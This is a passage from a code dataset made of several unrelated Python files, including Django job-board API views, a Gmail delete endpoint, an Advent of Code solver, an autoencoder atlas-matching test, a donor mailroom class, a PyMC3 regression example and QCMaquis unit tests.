Response(message, status=status.HTTP_404_NOT_FOUND)\n\n\nclass DeleteSavedJobByJobSeeker(APIView):\n    serializers = SavedJobSerializer\n\n    def delete(self, request, job_seeker_id, id):\n        saved = get_object_or_404(SavedJob, job_seeker=job_seeker_id, id=id)\n        data = {}\n        if saved:\n            saved.delete()\n            data['response'] = \"Saved Job Deleted\"\n            return Response(data, status=status.HTTP_200_OK)\n        else:\n            data['response'] = \"Saved Job Could Not be Deleted\"\n            return Response(data, status=status.HTTP_204_NO_CONTENT)\n\n\nclass ArchivedJobsView(APIView):\n    serializer_class = ArchivedJobSerializer\n\n    def get(self, request, id):\n        if request.method == \"GET\":\n            if id:\n                archived = ArchivedJob.objects.get(id=id)\n                serializer = ArchivedJobSerializer(archived)\n                if archived:\n                    return Response(serializer.data)\n                else:\n                    messages.error(request, \"This job does not exist\")\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n\n\nclass GetArchivedJobsByJobSeeker(APIView):\n    serializer_class = ArchivedJobSerializer\n\n    def get(self, request, job_seeker_id):\n        if request.method == \"GET\":\n            message = {}\n            if job_seeker_id:\n                archived = SavedJob.objects.filter(job_seeker=job_seeker_id)\n                serializer = ArchivedJobSerializer(archived, many=True)\n                if archived:\n                    message['response'] = \"Archived Job(s) found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Archived Jobs with Jobseeker Found\"\n                    return Response(message, status=status.HTTP_404_NOT_FOUND)\n\n\nclass DeleteArchivedJobByJobSeeker(APIView):\n    serializers = ArchivedJobSerializer\n\n    def delete(self, request, job_seeker_id, id):\n        archived = get_object_or_404(\n            ArchivedJob, job_seeker=job_seeker_id, id=id)\n        data = {}\n        if archived:\n            archived.delete()\n            data['response'] = \"Archived Job Deleted\"\n            return Response(data, status=status.HTTP_200_OK)\n        else:\n            data['response'] = \"Archived Job Could Not be Deleted\"\n            return Response(data, status=status.HTTP_204_NO_CONTENT)\n\n\ndef get_choices(request):\n    university_choices = UniversityName.choices\n    degree_choices = DegreeClassification.choices\n    year_choices = JobSeeker.YEAR_OF_GRADUATION_CHOICES\n    gender_choices = Gender.choices\n    role_choices = JobType.choices\n    industry_choices = Industry.choices\n    subject_choices = SubjectOfStudy.choices\n    qualification_choices = JobSeeker.HIGHEST_QUALIFICATION_CHOICES\n    context = {\n        \"university_choices\": university_choices,\n        \"year_choices\": year_choices,\n        'degree_choices': degree_choices,\n        'gender_choices':  gender_choices,\n        'role_choices': role_choices,\n        'industry_choices': industry_choices,\n        'subject_choices': subject_choices,\n        'qualification_choices': qualification_choices\n    }\n    return JsonResponse(context, safe=False)\n\n\nclass SearchJobs(generics.ListCreateAPIView):\n    serializer_class = ViewJobSerializer\n    search_fields = ['title', 'company__organisation_name']\n    filter_backends = (filters.SearchFilter,)\n    queryset = Job.objects.all()\n\n\n","repo_name":"REM-Recruitment/Remcruit","sub_path":"Remcruit_Fullstack/Backend/JobSeekers/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8381061522","text":"def temizleyici(satır):\r\n    satır=satır.replace(\"\\n\",\"\")\r\n    satır=satır.replace(\"\t\",\" \")\r\n    return satır\r\n\r\n\r\ndef ayıklayıcı(futbolcu):\r\n    futbolcu=temizleyici(futbolcu)\r\n    liste = futbolcu.split(\" \")\r\n    takımı=\"\"\r\n    for i in liste:\r\n        if(i==\"GS\"):\r\n            takımı=\"GS\"\r\n        elif (i == \"FB\"):\r\n            takımı = \"FB\"\r\n        elif (i == \"BJK\"):\r\n            takımı = \"BJK\"\r\n    return futbolcu+\",\"+takımı\r\n\r\n\r\n\r\nwith open(\"futbolcular.txt\",\"r\",encoding=\"utf-8\") as file:\r\n    gs = []\r\n    fb = []\r\n    bjk = []\r\n    ayıklanacak_liste=file.readlines()\r\n    for i in ayıklanacak_liste:\r\n        liste2=ayıklayıcı(i).split(\",\")\r\n        #print(ayıklayıcı(i))\r\n        if (liste2[1] == \"GS\"):\r\n            gs.append(liste2[0]+\"\\n\")\r\n        elif (liste2[1] == \"FB\"):\r\n            fb.append(liste2[0]+\"\\n\")\r\n        elif (liste2[1] == \"BJK\"):\r\n            bjk.append(liste2[0]+\"\\n\")\r\n\r\n    with open(\"gs.txt\",\"w\",encoding=\"utf-8\")as file2:\r\n        file2.writelines(gs)\r\n    with open(\"fb.txt\",\"w\",encoding=\"utf-8\")as file2:\r\n        file2.writelines(fb)\r\n    with open(\"bjk.txt\",\"w\",encoding=\"utf-8\")as file2:\r\n        file2.writelines(bjk)\r\n\r\n\r\n\r\n","repo_name":"Batuhantoy/PythonAlistirmalar","sub_path":"Dosyalar/fulbolcu_ayıklama.py","file_name":"fulbolcu_ayıklama.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20370388921","text":"import requests\n\nfrom django.http import JsonResponse\nfrom allauth.socialaccount.models import SocialToken, SocialApp\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef GoogleGmailDelete(request, email_id):\n   if request.method == 'DELETE':\n      socialGoogleToken = SocialToken.objects.filter(account__user=request.user, account__provider='google').last()\n      \n      if socialGoogleToken:\n         access_token = socialGoogleToken.token\n         \n         response = requests.delete(f'https://www.googleapis.com/gmail/v1/users/me/messages/{email_id}', params={\n            'access_token': access_token,\n         })\n         \n         print('______________response_______________', response)\n         \n         if response.status_code == 204:\n            return  JsonResponse({\n               'status': 'success',\n               'message': f'Email with ID {email_id} deleted successfully'\n            }, safe=False)\n         else:\n            return JsonResponse({\n              'status': 'error',\n              'message': f'Failed to delete email with ID {email_id}, status code: {response.status_code}'\n            }, safe=False)","repo_name":"metallistus/jesklauncher","sub_path":"v2/base/api/views/google/google_email.py","file_name":"google_email.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72094674981","text":"#!/usr/bin/python3\n\nimport re\nfrom collections import deque\n\nvalve = {}\ntunnels = {}\n\nwith open(\"16.txt\") as f:\n    for line in f:\n        m = re.match('Valve (.*) has flow rate=(\\d+); tunnels? leads? to valves? (.*)', line)\n        valve[m.group(1)] = int(m.group(2))\n        tunnels[m.group(1)] = m.group(3).split(', ')\n\nprint(valve)\nprint(tunnels)\n\n# minute, pos, walk, pos2, walk2, open, flow\nstatus = (0, 'AA', ('AA',), 'AA', ('AA',), tuple(), 0)\n\nqueue = deque([status])\n\ns = 0\nmax_flow = 0\nseen = {}\nwhile queue:\n    minute, pos, walk, pos2, walk2, opens, flow = queue.popleft()\n    s += 1\n    if s % 10000 == 0:\n        print(minute, pos, walk, pos2, walk2, opens, flow)\n    if minute == 26:\n        max_flow = max(flow, max_flow)\n        continue\n\n    # both open\n    if valve[pos] > 0 and pos not in opens and valve[pos2] > 0 and pos2 not in opens:\n        new = (pos, (pos,), pos2, (pos2,), tuple(sorted(opens + (pos, pos2))))\n        fl = flow + sum({valve[x] for x in opens})\n        if new not in seen or seen[new] < fl:\n            queue.append((minute+1,) + new + (fl,))\n            seen[new] = fl\n\n    # first opens, second walks\n    if valve[pos] > 0 and pos not in opens:\n        for t2 in tunnels[pos2]:\n            if t2 not in walk2: # don't go back\n                new = (pos, (pos,), t2, tuple(sorted(walk2 + (t2,))), tuple(sorted(opens + (pos,))))\n                fl = flow + sum({valve[x] for x in opens})\n                if new not in seen or seen[new] < fl:\n                    queue.append((minute+1,) + new + (fl,))\n                    seen[new] = fl\n\n    # first walks, second opens\n    if valve[pos2] > 0 and pos2 not in opens:\n        for t in tunnels[pos]:\n            if t not in walk: # don't go back\n                new = (t, tuple(sorted(walk + (t,))), pos2, (pos2,), tuple(sorted(opens + (pos2,))))\n                fl = flow + sum({valve[x] for x in opens})\n                if new not in seen or seen[new] < fl:\n                    queue.append((minute+1,) + new + (fl,))\n                    seen[new] = fl\n\n    # both walk\n    for t in tunnels[pos]:\n        if t not in walk: # don't go back\n            for t2 in tunnels[pos2]:\n                if t not in walk2: # don't go back\n                    new = (t, tuple(sorted(walk + (t,))), t2, tuple(sorted(walk2 + (t2,))), opens)\n                    fl = flow + sum({valve[x] for x in opens})\n                    if new not in seen or seen[new] < fl:\n                        queue.append((minute+1,) + new + (fl,))\n                        seen[new] = fl\n\nprint(\"max flow is\", max_flow)\n","repo_name":"df7cb/aoc","sub_path":"2022/16b.py","file_name":"16b.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70867044262","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n#需求：将非文本文件001.png拷贝一份到002.jpg\n\"\"\"\n思路：\n1、只读模式rb打开文件1\n2、只写模式wb打开文件2\n3、循环遍历文件1，过程中，写入文件2\n4、从而实现图片文件拷贝\n注意点：\n1 非文本文件不涉及encoding，写了会报错\n\n步骤：\n\n\"\"\"\n#方法1 简洁3行--推荐\npath1 = r\".\\001.png\"\npath2 = r\".\\002.jpg\" #注意：可以支持拷贝成不同格式的图片，拷贝后的图片，大小可能需要放大才能看清\nwith open(path1,mode=\"rb\") as f1, open(path2, mode=\"wb\") as f2: #自动刷新和关闭文件\n    for i in f1:\n        f2.write(i)\n\n#方法2  7行\npath1 = r\".\\001.png\"\npath3 = r\".\\003.jpg\"\nf1 = open(path1,mode=\"rb\")\nf2 = open(path3,mode=\"wb\")\nfor i in f1:\n    f2.write(i)\nf2.flush()\nf1.close()\nf2.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"cn5036518/xq_py","sub_path":"python16/day1-21/day008 文件操作/课上代码/01非文本文件的拷贝.py","file_name":"01非文本文件的拷贝.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14733873244","text":"import numpy as np\nfrom keras.models import Model\nfrom keras.datasets import mnist\nfrom keras.models import load_model\nfrom sklearn.metrics import label_ranking_average_precision_score\nimport time\nimport cv2\n\nt0 = time.time()\n\n#(x_train, y_train), (x_test, y_test) = mnist.load_data()\nsw_data = np.load('atlas_sw.npz')\nx_train = sw_data['images'].astype('float32') / 255.\nx_shape = (x_train.shape[0], x_train.shape[1], x_train.shape[2], 1)\nx_train = np.reshape(x_train, x_shape)\ny_train = sw_data['labels']\nprint(\"X_Train: \", x_train.shape)\n\nprint(\"===--- Paxinos/Watson Atlas\")\npw_data = np.load('atlas_pw.npz')\npw_y = pw_data['labels']\npw_im = pw_data['images'].astype('float32') / 255.\npw_shape = pw_im.shape[0], pw_im.shape[1], pw_im.shape[2], 1\npw_im = np.reshape(pw_im, pw_shape)\n\nx_test = np.array([pw_im[7], pw_im[10], pw_im[26], pw_im[39]])\ny_test = np.array([pw_y[7], pw_y[10], pw_y[26], pw_y[39]])\n\nx_test = pw_im\ny_test = pw_y\n\nprint(\"X_Test: \", x_test.shape)\n\nnoise_factor = 0.4\nx_train_noisy = x_train + noise_factor * np.random.normal(loc=0.0, scale=1.0, size=x_train.shape)\nx_test_noisy = x_test + noise_factor * np.random.normal(loc=0.0, scale=1.0, size=x_test.shape)\n\nx_train_noisy = np.clip(x_train_noisy, 0., 1.)\nx_test_noisy = np.clip(x_test_noisy, 0., 1.)\nt1 = time.time()\nprint('Dataset loaded in: ', t1-t0)\n\nprint('Loading model :')\nt0 = time.time()\nautoencoder = load_model('autoencoder.h5')\nencoder = Model(inputs=autoencoder.input, outputs=autoencoder.get_layer('encoder').output)\nt1 = time.time()\nprint('Model loaded in: ', t1-t0)\n\nscores = []\n\n\ndef retrieve_closest_elements(test_code, test_label, learned_codes):\n    distances = []\n    for code in learned_codes:\n        distance = np.linalg.norm(code - test_code)\n        distances.append(distance)\n    nb_elements = learned_codes.shape[0]\n    distances = np.array(distances)\n    learned_code_index = np.arange(nb_elements)\n    labels = np.copy(y_train).astype('float32')\n    labels[labels != test_label] = -1\n    labels[labels == test_label] = 1\n    labels[labels == -1] = 0\n    distance_with_labels = np.stack((distances, labels, learned_code_index), axis=-1)\n    sorted_distance_with_labels = distance_with_labels[distance_with_labels[:, 0].argsort()]\n\n    sorted_distances = 28 - sorted_distance_with_labels[:, 0]\n    sorted_labels = sorted_distance_with_labels[:, 1]\n    sorted_indexes = sorted_distance_with_labels[:, 2]\n    return sorted_distances, sorted_labels, sorted_indexes\n\ndef compute_average_precision_score(test_codes, test_labels, learned_codes, n_samples):\n    out_labels = []\n    out_distances = []\n    retrieved_elements_indexes = []\n    for i in range(len(test_codes)):\n        sorted_distances, sorted_labels, sorted_indexes = retrieve_closest_elements(test_codes[i], test_labels[i], learned_codes)\n        out_distances.append(sorted_distances[:n_samples])\n        out_labels.append(sorted_labels[:n_samples])\n        retrieved_elements_indexes.append(sorted_indexes[:n_samples])\n\n    out_labels = np.array(out_labels)\n    out_labels_file_name = 'computed_data/out_labels_{}'.format(n_samples)\n    np.save(out_labels_file_name, out_labels)\n\n    out_distances_file_name = 'computed_data/out_distances_{}'.format(n_samples)\n    out_distances = np.array(out_distances)\n    np.save(out_distances_file_name, out_distances)\n    score = label_ranking_average_precision_score(out_labels, out_distances)\n    scores.append(score)\n    return score\n\nINDEX = 0\ndef retrieve_closest_images(test_element, test_label, n_samples=10):\n    global INDEX\n    learned_codes = encoder.predict(x_train)\n    learned_codes = learned_codes.reshape(learned_codes.shape[0],\n                                          learned_codes.shape[1] * learned_codes.shape[2] * learned_codes.shape[3])\n\n    test_code = encoder.predict(np.array([test_element]))\n    test_code = test_code.reshape(test_code.shape[1] * test_code.shape[2] * test_code.shape[3])\n\n    distances = []\n\n    for code in learned_codes:\n        distance = np.linalg.norm(code - test_code)\n        distances.append(distance)\n    nb_elements = learned_codes.shape[0]\n    distances = np.array(distances)\n    learned_code_index = np.arange(nb_elements)\n    labels = np.copy(y_train).astype('float32')\n    labels[labels != test_label] = -1\n    labels[labels == test_label] = 1\n    labels[labels == -1] = 0\n    distance_with_labels = np.stack((distances, labels, learned_code_index), axis=-1)\n    sorted_distance_with_labels = distance_with_labels[distance_with_labels[:, 0].argsort()]\n\n    sorted_distances = 28 - sorted_distance_with_labels[:, 0]\n    sorted_labels = sorted_distance_with_labels[:, 1]\n    sorted_indexes = sorted_distance_with_labels[:, 2]\n    kept_indexes = sorted_indexes[:n_samples]\n\n    score = label_ranking_average_precision_score(np.array([sorted_labels[:n_samples]]), np.array([sorted_distances[:n_samples]]))\n    \n    kept_indexes = kept_indexes.astype(np.uint16)\n    result_y = y_train[kept_indexes]\n    result_distances = sorted_distances[kept_indexes]\n    \n    print(\"Plate {} - \".format(test_label), end='')\n    for i in range(n_samples):\n        match_y = result_y[i]\n        match_d = result_distances[i]\n        print(\"[{},{:.4f}] \".format(match_y, match_d), end='')\n    \n    print(\"\")\n    \n    #print(\"Average precision ranking score for tested element is {}\".format(score))\n\n    original_image = test_element\n    #cv2.imshow('original_image_' + str(INDEX), original_image)\n    retrieved_images = x_train[int(kept_indexes[0]), :]\n    for i in range(1, n_samples):\n        retrieved_images = np.hstack((retrieved_images, x_train[int(kept_indexes[i]), :]))\n        \n    #cv2.imshow('Results_' + str(INDEX), retrieved_images)\n\n    cv2.imwrite('test_results/plate_' + str(test_label) + '.jpg', 255 * cv2.resize(original_image, (0,0), fx=3, fy=3))\n    cv2.imwrite('test_results/results' + str(test_label) + '.jpg', 255 * cv2.resize(retrieved_images, (0,0), fx=2, fy=2))\n\n    #import pdb\n    #pdb.set_trace()\n    \n    INDEX += 1\n    return result_y\n\ndef test_model(n_test_samples, n_train_samples):\n    learned_codes = encoder.predict(x_train)\n    learned_codes = learned_codes.reshape(learned_codes.shape[0], learned_codes.shape[1] * learned_codes.shape[2] * learned_codes.shape[3])\n    test_codes = encoder.predict(x_test)\n    test_codes = test_codes.reshape(test_codes.shape[0], test_codes.shape[1] * test_codes.shape[2] * test_codes.shape[3])\n    indexes = np.arange(len(y_test))\n    np.random.shuffle(indexes)\n    indexes = indexes[:n_test_samples]\n\n    print('Start computing score for {} train samples'.format(n_train_samples))\n    t1 = time.time()\n    score = compute_average_precision_score(test_codes[indexes], y_test[indexes], learned_codes, n_train_samples)\n    t2 = time.time()\n    print('Score computed in: ', t2-t1)\n    print('Model score:', score)\n\n\ndef plot_denoised_images():\n    denoised_images = autoencoder.predict(x_test_noisy.reshape(x_test_noisy.shape[0], x_test_noisy.shape[1], x_test_noisy.shape[2], 1))\n    test_img = x_test_noisy[0]\n    resized_test_img = cv2.resize(test_img, (280, 280))\n    cv2.imshow('input', resized_test_img)\n    output = denoised_images[0]\n    resized_output = cv2.resize(output, (280, 280))\n    cv2.imshow('output', resized_output)\n    cv2.imwrite('test_results/noisy_image.jpg', 255 * resized_test_img)\n    cv2.imwrite('test_results/denoised_image.jpg', 255 * resized_output)\n\n\n# To test the whole model\nn_test_samples = 1000\nn_train_samples = [10, 50, 100, 200, 300, 400, 500, 750, 1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 9000, 10000,\n                   20000, 30000, 40000, 50000, 60000]\n\n\n#for n_train_sample in n_train_samples:\n#    test_model(n_test_samples, n_train_sample)\n\nnp.save('computed_data/scores', np.array(scores))\n\nimport pylab as plt\nplt.xkcd()\nplt.figure()\nplt.title('SW Matching')\nplt.xlabel('PW Plate')\nplt.ylabel('SW Plate')\n# To retrieve closest images\nx = []\ny = []\nfor i in range(len(x_test)):\n#for i in range(3):\n    x.append(y_test[i]) # Plate #\n    predictions = retrieve_closest_images(x_test[i], y_test[i])\n    y.append(predictions[0]) # Top Prediction\n    \nplt.plot(x, y)\nplt.savefig('results.png')\nplt.show(block=True)\n\n\n# To plot a denoised image\n#plot_denoised_images()","repo_name":"DeveloperJose/Python-Rat-Brain","sub_path":"auto_encoder/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":8222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"116499290","text":"#!/usr/bin/env python\n__author__ = 'Timothy Lurvey'\n\nfrom running_total import RunningTotal\n\n\nclass Donor(RunningTotal):\n    \"\"\"change attribute from 'key' to 'name'\"\"\"\n\n    def __init__(self, name: str, total: float = 0., count: int = 0):\n        super().__init__(new_key=name, total=total, count=count)\n\n    def __repr__(self):\n        return f\"Donor('{self.name}', {self.total}, {self.count})\"\n\n    @property\n    def name(self):\n        return self.key\n\n    @name.setter\n    def name(self, new_name: str):\n        self.key = new_name\n\nclass DonorRepository(object):\n    \"\"\"Create and manage a data repository of Donor objects.  Donor objects must have unique names.\"\"\"\n    _REPORT_HEADER = \"\\nDonor Name                | Total Given | Num Gifts | Average Gift\\n\" + (\"-\" * 66) + \"\\n\"\n\n    def __init__(self, data_set: tuple = ()):\n        self._data = []\n        self._set_data(data_set)\n\n    @property\n    def name_list(self) -> tuple:\n        \"\"\"return a list of all donor names\"\"\"\n        return tuple(sorted([d.name for d in self._data]))\n\n    def _expand_input_values(self, data: (list, tuple, set)) -> tuple:\n        \"\"\"expand all possible values from sequence\"\"\"\n        n = data[0]\n        t = 0.\n        c = 0\n        try:\n            t += float(data[1])\n            c += int(data[2])\n        except:\n            pass\n        return n, t, c\n\n    def _set_data(self, data_set) -> None:\n        \"\"\"work through the inputs to create a populated data object\"\"\"\n        for d_obj in data_set:\n            if isinstance(d_obj, Donor):\n                add_obj = d_obj\n            else:\n                n, t, c = self._expand_input_values(d_obj)\n                add_obj = Donor(name=n, total=t, count=c)\n            self._data.append(add_obj)\n\n    def add_new_donor(self, obj) -> None:\n        \"\"\"add a Donor object or a sequence of data to be converted (name, total, count)\n        Donor('x', 1. ,1 )or ('x', 102.5, 2)\n        In the data input sequence, total and count are optional\"\"\"\n        try:\n            assert isinstance(obj, Donor) or isinstance(obj, (list, tuple, set))\n            self._set_data((obj,))\n        except AssertionError:\n            raise TypeError(\"TypeError: object must be a Donor object or a sequence of donor datas\")\n\n    def get_donor(self, name) -> Donor:\n        if name in self.name_list:\n            return [o for o in self._data if name == o.name][0]\n        else:\n            raise ValueError(\"ValueError: donor.name='{}' no found in repository\".format(name))\n\n    def _compose_email(self, name: str, new_donation: float) -> str:\n        \"\"\"return the string of the formatted email for a given donor, optional additional donation\"\"\"\n        # get data object from name\n        donor_obj = self.get_donor(name=name)\n        # determine plurals\n        if donor_obj.count == 1:\n            s = \"\"\n            is_are = \"is\"\n        else:\n            s = \"s\"\n            is_are = \"are\"\n        # create new donation string, if needed\n        fnew_donation = \"\"\n        if new_donation:\n            fnew_donation += \"Thank you for your generous donation of $ {:.2f}.\\n\".format(new_donation)\n        # format email string\n        email_str = \"\\nHello {name},\\n\\n\" \\\n                    \"{new_donation}\" \\\n                    \"Your {count} donation{s}, totaling $ {total:.2f}, {is_are} greatly appreciated.\\n\\n\" \\\n                    \"Thank you\\n\\n\".format(name=donor_obj.key,\n                                           new_donation=fnew_donation,\n                                           count=donor_obj.count,\n                                           s=s,\n                                           total=donor_obj.total,\n                                           is_are=is_are)\n        return email_str\n\n    def add_donation(self, name: str = \"\", amount: float = 0.) -> None:\n        self.get_donor(name=name).add_to_total(amount=amount)\n\n    @property\n    def formatted_name_list(self) -> str:\n        print_list = \"\"\n        for i, name in enumerate(self.name_list):\n            print_list += f\"{i:>3} : {name}\\n\"\n        return print_list[:-1]\n\n    def get_thank_you_email(self, donor: str = \"\", new_donation: float = 0.) -> str:\n        \"\"\"This method will get the thank you text for a user in the database who has made a new donation.\"\"\"\n        if new_donation:\n            # add the donation to their existing amount\n            self.add_donation(name=donor, amount=float(new_donation))\n        # return the email string\n        return self._compose_email(name=donor, new_donation=float(new_donation))\n\n    def _report_data_line(self, name: str, total: float, count: int) -> str:\n        \"\"\"create a single report line of formatted inputs\"\"\"\n        ftotal = \"$ {:.2f}\".format(total)\n        if count:\n            average = total / count\n        else:\n            average = 0\n        faverage = \"$ {:.2f}\".format(average)\n        return \"{name:<26}|{tot:>13}|{num:>11d}|{avg:>13}\\n\".format(name=name,\n                                                                    tot=ftotal,\n                                                                    num=count,\n                                                                    avg=faverage)\n\n    def report(self) -> str:\n        \"\"\" Print report in the following format:\n\n        Donor Name                | Total Given | Num Gifts | Average Gift\n        ------------------------------------------------------------------\n        William Gates, III         $  653784.49           2  $   326892.24\"\"\"\n        s = self._REPORT_HEADER\n        for i, name in enumerate(self.name_list):\n            d = self.get_donor(name)\n            s += self._report_data_line(name =d.name,\n                                        total=d.total,\n                                        count=d.count)\n        s += (\"-\" * 66) + \"\\n\"\n        return s\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/tim_lurvey/lesson09/mailroom_oo/donor_classes.py","file_name":"donor_classes.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"33609826514","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\" An Simple Example for Tank MC\n\nAdapted from an example from\nScott Rome, http://srome.github.io/Dont-Solve-Simulate-Markov-Chain-Monte-Carlo-Methods-with-PyMC3/\n\n\"\"\"\n\nimport os\nos.environ['MKL_THREADING_LAYER']='GNU'\n\nimport numpy as np\nimport pymc3 as pm\nimport matplotlib.pyplot as plt\n\nsize = 200\na = 1.\nb = 2.\nx = np.linspace(0,1,size)\ny_sigma = 0.1\nline = a + b*x\n\nline_noise = line + np.random.normal(\n    scale=y_sigma,\n    size=size)\n\nmodel = pm.Model()\n\n#define prior_0_parameters\nwith model:\n    y_hat_sigma = pm.HalfCauchy('sigma',beta=10,testval=1.)\n    a_hat = pm.Normal('Intercept',0,sd=20)\n    b_hat = pm.Normal('x',0,sd=20)\n\nwith model:\n    # Define Likelihood\n    likelihood = pm.Normal(\n        'y',\n        mu=a_hat+b_hat*x,\n        sd=y_hat_sigma,\n        observed=line_noise)\n\n    # inference\n    trace = pm.sample(\n        progressbar=False,\n        tune=1000,\n        #njobs=4,\n        cores=1)\n\n#plt.figure(figsize=(7, 7))\npm.traceplot(trace)\nplt.tight_layout()\nplt.show()\n\nplt.figure(figsize=(7, 7))\nplt.plot(x, line_noise, 'x', label='data')\npm.plots.plot_posterior_predictive_glm(\n    trace,\n    samples=100,\n    label='posterior predictive regression lines')\nplt.plot(x, line, label='true regression line', lw=3., c='y')\n\nplt.title('Posterior predictive regression lines')\nplt.legend(loc=0)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.show()\n","repo_name":"eragasa/ragasa_python_tutorials","sub_path":"pymc3_examples/bayes_regression_example.py","file_name":"bayes_regression_example.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71875662501","text":"# pylint: disable=C0114, C0115, C0116\n# pylint: disable=protected-access\n# -*- coding: utf-8 -*-\n__copyright__ = \"\"\" This code is licensed under the 3-clause BSD license.\nCopyright ETH Zurich, Laboratory of Physical Chemistry, Reiher Group.\nSee LICENSE.txt for details.\n\"\"\"\n\nimport os\nimport unittest\n\nimport numpy as np\n\nfrom scine_autocas.interfaces.qcmaquis import Qcmaquis\nfrom scine_autocas.interfaces.qcmaquis.qcmaquis_hdf5_utils import Hdf5Converter\nfrom scine_autocas.interfaces.qcmaquis.qcmaquis_orbital_rdm_builder import OrbitalRDMBuilder\n\n\nclass TestQcMquisClasses(unittest.TestCase):\n    def setUp(self):\n        self.path = os.path.dirname(os.path.abspath(__file__))\n\n    def test_hdf5_converter(self):\n        hdf5_converter = Hdf5Converter()\n        qcmaquis_result_file = self.path + \"/files/n2.results_state.0.h5\"\n        hdf5_converter.read_hdf5(qcmaquis_result_file)\n        self.assertEqual(hdf5_converter.L, 8)\n        self.assertAlmostEqual(hdf5_converter.energy, -108.7499817)\n        self.assertEqual(hdf5_converter.symmetry, \"su2u1pg\")\n        # fmt: off\n        self.assertTrue(\n            np.array_equal(hdf5_converter.orbital_order, np.array([1, 2, 3, 4, 5, 6, 7, 8]))\n        )\n\n        self.assertRaises(\n            AssertionError,\n            lambda: hdf5_converter._Hdf5Converter__mat_measurement([(1, 1), (2, 2)], np.array([0, 1, 2]))\n        )\n        self.assertRaises(\n            AssertionError,\n            lambda: hdf5_converter._Hdf5Converter__mat_merge_transpose([(1, 1), (2, 2)], np.array([0, 1, 2]),\n                                                                       [(1, 1), (2, 2)], np.array([0, 1, 2]))\n        )\n        # fmt: on\n        new_hdf5_converter = Hdf5Converter()\n        new_hdf5_converter.result_file = qcmaquis_result_file\n        new_hdf5_converter.read_hdf5()\n        self.assertEqual(new_hdf5_converter.L, 8)\n        self.assertAlmostEqual(new_hdf5_converter.energy, -108.7499817)\n        self.assertEqual(new_hdf5_converter.symmetry, \"su2u1pg\")\n\n    def test_orbital_rdm_builder(self):\n        hdf5_converter = Hdf5Converter()\n        ordm_builder = OrbitalRDMBuilder()\n        self.assertRaises(AttributeError, lambda: ordm_builder.make_one_ordm(hdf5_converter))\n        self.assertRaises(AttributeError, lambda: ordm_builder.make_two_ordm(hdf5_converter))\n        qcmaquis_result_file = self.path + \"/files/n2.results_state.0.h5\"\n        hdf5_converter.read_hdf5(qcmaquis_result_file)\n        one_ordm = ordm_builder.make_one_ordm(hdf5_converter)\n        ordm_builder.make_two_ordm(hdf5_converter)\n        # fmt: off\n        test_one_ordm = np.array(\n            [\n                [2.53220e-03, 2.53220e-03, 2.52018e-04, 9.94683e-01],\n                [2.40389e-03, 2.40389e-03, 1.35218e-03, 9.93840e-01],\n                [7.87185e-02, 7.87185e-02, 1.24039e-01, 7.18523e-01],\n                [1.24453e-01, 1.24453e-01, 2.49871e-01, 5.01222e-01],\n                [1.24453e-01, 1.24453e-01, 2.49871e-01, 5.01221e-01],\n                [1.24453e-01, 1.24453e-01, 5.00725e-01, 2.50368e-01],\n                [1.24453e-01, 1.24453e-01, 5.00725e-01, 2.50368e-01],\n                [8.04333e-02, 8.04333e-02, 7.11261e-01, 1.27871e-01],\n            ]\n        )\n        # fmt: on\n        self.assertTrue(np.allclose(one_ordm, test_one_ordm))\n\n    def test_qcmaquis(self):\n        qcmaquis_result_file = self.path + \"/files/n2.results_state.0.h5\"\n        qc_maquis = Qcmaquis()\n        # this lambda is necessary to check for the AttributeError\n        # pylint: disable=unnecessary-lambda\n        self.assertRaises(AttributeError, lambda: qc_maquis.make_diagnostics())\n        # pylint: enable=unnecessary-lambda\n        self.assertRaises(\n            AttributeError,\n            lambda: qc_maquis.make_s1(\n                qc_maquis.orbital_rdm_builder.make_one_ordm(qc_maquis.hdf5_converter)\n            ),\n        )\n        self.assertRaises(\n            AttributeError,\n            lambda: qc_maquis.make_s2(\n                qc_maquis.orbital_rdm_builder.make_two_ordm(qc_maquis.hdf5_converter)\n            ),\n        )\n        qc_maquis.read_hdf5(qcmaquis_result_file)\n        qc_maquis.make_diagnostics()\n        qc_maquis.make_s1(qc_maquis.orbital_rdm_builder.make_one_ordm(qc_maquis.hdf5_converter))\n        qc_maquis.make_s2(qc_maquis.orbital_rdm_builder.make_two_ordm(qc_maquis.hdf5_converter))\n        qc_maquis.make_mutual_information()\n        qc_maquis.hdf5_converter.L = None\n        self.assertRaises(\n            AttributeError, lambda: qc_maquis.make_s1(qc_maquis.orbital_rdm_builder.one_ordm)\n        )\n        self.assertRaises(\n            AttributeError, lambda: qc_maquis.make_s2(qc_maquis.orbital_rdm_builder.two_ordm)\n        )\n        self.assertRaises(\n            AttributeError,\n            lambda: qc_maquis.make_s1(qc_maquis.orbital_rdm_builder.make_one_ordm(qc_maquis.hdf5_converter))\n        )\n        